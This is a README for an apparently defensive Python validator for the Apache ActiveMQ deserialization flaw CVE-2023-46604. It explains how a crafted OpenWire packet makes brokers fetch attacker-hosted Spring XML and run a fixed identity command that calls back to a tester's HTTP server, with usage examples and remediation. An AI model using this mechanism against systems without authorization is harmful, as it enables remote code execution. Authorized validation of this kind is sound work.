Skip to content

Latest commit

 

History

2 Commits

Folders and files

Repository files navigation

CVE-2023-46604 ActiveMQ Safe Validator

A single-file, non-destructive validator for Apache ActiveMQ CVE-2023-46604. It starts its own HTTP callback server, generates target-specific Spring XML in memory, sends the crafted OpenWire packet, correlates callbacks with unique tokens, and writes CSV/JSON evidence.

The project is designed for authorized penetration tests and fleet validation. It deliberately does not implement reverse shells, unrestricted command execution, CIDR expansion, persistence, or payload staging.

What the validator proves

Two fixed proof modes are available:

  • rce executes a fixed, read-only identity probe and returns its output to the built-in HTTP server. A callback confirms operating-system command execution in the ActiveMQ service context.
  • xml serves an empty Spring context. A fetch confirms that the crafted OpenWire message caused the target to instantiate ClassPathXmlApplicationContext and retrieve attacker-controlled XML, without starting a process.

No XML files need to be created or hosted separately.

Features

  • One Python file; standard library only
  • Built-in threaded HTTP server
  • Dynamic, per-target XML and callback tokens
  • Explicit single-target and multi-target input
  • Bounded concurrency and send retries
  • Plain OpenWire and TLS-wrapped OpenWire support
  • Fixed Linux and Windows identity probes
  • CSV evidence by default, optional JSON
  • Accurate result states that avoid false "not vulnerable" claims
  • CI-friendly --fail-on-vuln exit code

Requirements

  • Python 3.9 or newer
  • Network access from the testing host to the target OpenWire listener
  • Network access from the target back to the built-in HTTP callback address
  • Explicit authorization for every target

The default OpenWire port is 61616, but non-default ports are supported.

Quick start

Use documentation-only addresses in examples; replace them with your authorized assets.

Single Linux target

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

The script starts the callback server automatically on TCP/8000, serves the generated XML, sends the OpenWire packet, waits for evidence, prints a result table, and writes:

activemq-cve-2023-46604-results.csv

Multiple explicit targets

python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Target file

Create targets.txt:

# One explicitly authorized host per line
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Run:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Target files may contain blank lines and comments beginning with #. CIDR expansion is intentionally unsupported; enumerate the authorized inventory explicitly.

Automatic callback-address detection

For simple routed networks, omit --callback-host:

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

The tool selects the local source address used to route toward the first target. Specify --callback-host when testing through NAT, VPNs, containers, jump hosts, or multi-homed systems.

Windows-hosted ActiveMQ

python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

The Windows probe uses a fixed, non-interactive PowerShell command to return the service identity, computer name, and OS version. It does not provide an interactive shell.

XML-load-only validation

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

This mode does not instantiate ProcessBuilder.

TLS-wrapped OpenWire

Use an ssl:// target:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

For an internal listener with an untrusted certificate:

python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify affects only the OpenWire TLS connection. The callback server is HTTP.

Result states

Status Meaning
CONFIRMED_VULNERABLE_RCE The target fetched its XML and the fixed identity command returned evidence.
CONFIRMED_VULNERABLE_XML_LOAD In xml mode, the target fetched the unique XML document.
VULNERABLE_XML_LOAD_ONLY In rce mode, XML retrieval occurred but the command callback did not. The vulnerable class-instantiation path is confirmed; callback tooling, egress, or process execution may be restricted.
NOT_CONFIRMED The packet was sent, but no correlated HTTP evidence arrived before the deadline. This is not proof that the host is patched.
UNREACHABLE The TCP/TLS connection or packet send failed.

A patched broker, an incorrect port, egress filtering, routing problems, TLS mismatch, and endpoint controls can all affect callback-based validation. Preserve the CSV/JSON timestamps and callback output as report evidence.

Fixed identity evidence

The Linux identity probe returns output similar to:

CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

It tries curl, wget, and BusyBox wget for the HTTP POST. If the XML is fetched but none of those clients is available, the result is VULNERABLE_XML_LOAD_ONLY rather than a false negative.

Exit codes

  • 0: validation completed, or vulnerabilities were found without --fail-on-vuln
  • 2: at least one vulnerable result was found and --fail-on-vuln was supplied
  • argparse errors use the normal non-zero command-line error code

Example CI usage:

python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

How it works

CVE-2023-46604 affects Java OpenWire unmarshalling. The validator sends a loose-marshalled OpenWire ExceptionResponse whose exception class is:

org.springframework.context.support.ClassPathXmlApplicationContext

The exception message is the unique URL of the generated Spring XML. Vulnerable ActiveMQ code instantiates the attacker-selected class with that URL. In rce mode, the Spring context starts a fixed ProcessBuilder probe; in xml mode, the context is empty.

Every target receives a different token, for example:

http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

This allows concurrent callbacks to be attributed to the correct target.

Command reference

--authorized                 Required authorization acknowledgement
-t, --target VALUE           Explicit target; repeatable
-T, --targets-file FILE      One explicit target per line; repeatable
--default-port PORT          Default 61616
--tls                        Use TLS for all targets
--tls-no-verify              Disable OpenWire TLS certificate validation
--callback-host HOST         Address targets use for HTTP callbacks
--bind-host HOST             Local HTTP bind address; default 0.0.0.0
--http-port PORT             Local HTTP port; default 8000; 0 selects a free port
--proof rce|xml         Fixed proof mode; default rce
--platform linux|windows     Target OS for RCE mode; default linux
--workers N                  Parallel workers; maximum 32
--connect-timeout SECONDS    TCP/TLS timeout
--wait SECONDS               Callback collection window
--retries N                  One to three packet-send attempts
--retry-delay SECONDS        Delay between attempts
-o, --output FILE            CSV evidence destination
--json-output FILE           Optional JSON destination
--verbose                    Show HTTP request logs
--fail-on-vuln               Exit 2 when a vulnerable result is found

Testing

python3 -m unittest discover -s tests -v

The tests verify target parsing, CIDR rejection, XML well-formedness, and the OpenWire frame structure without contacting any target.

Remediation

Upgrade ActiveMQ to a fixed and currently supported release. The Apache advisory identified fixed releases for the then-current branches as ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, and 6.0.0, and Artemis 2.31.2. Also restrict OpenWire listeners to trusted clients and monitor for unexpected outbound XML retrieval.

Safety and scope

This repository is for defensive validation and authorized security assessments. It intentionally omits:

  • reverse-shell payloads
  • arbitrary --command execution
  • executable or script staging
  • persistence
  • authentication attacks
  • CIDR/range expansion

The fixed identity probe is sufficient to demonstrate remote command execution and the service account impact without establishing interactive access.

References

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Apache ActiveMQ security advisories: https://activemq.apache.org/components/classic/security
  • Apache ActiveMQ source: https://github.com/apache/activemq
  • Vulhub lab: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

License

MIT. See LICENSE.

Contributors

Languages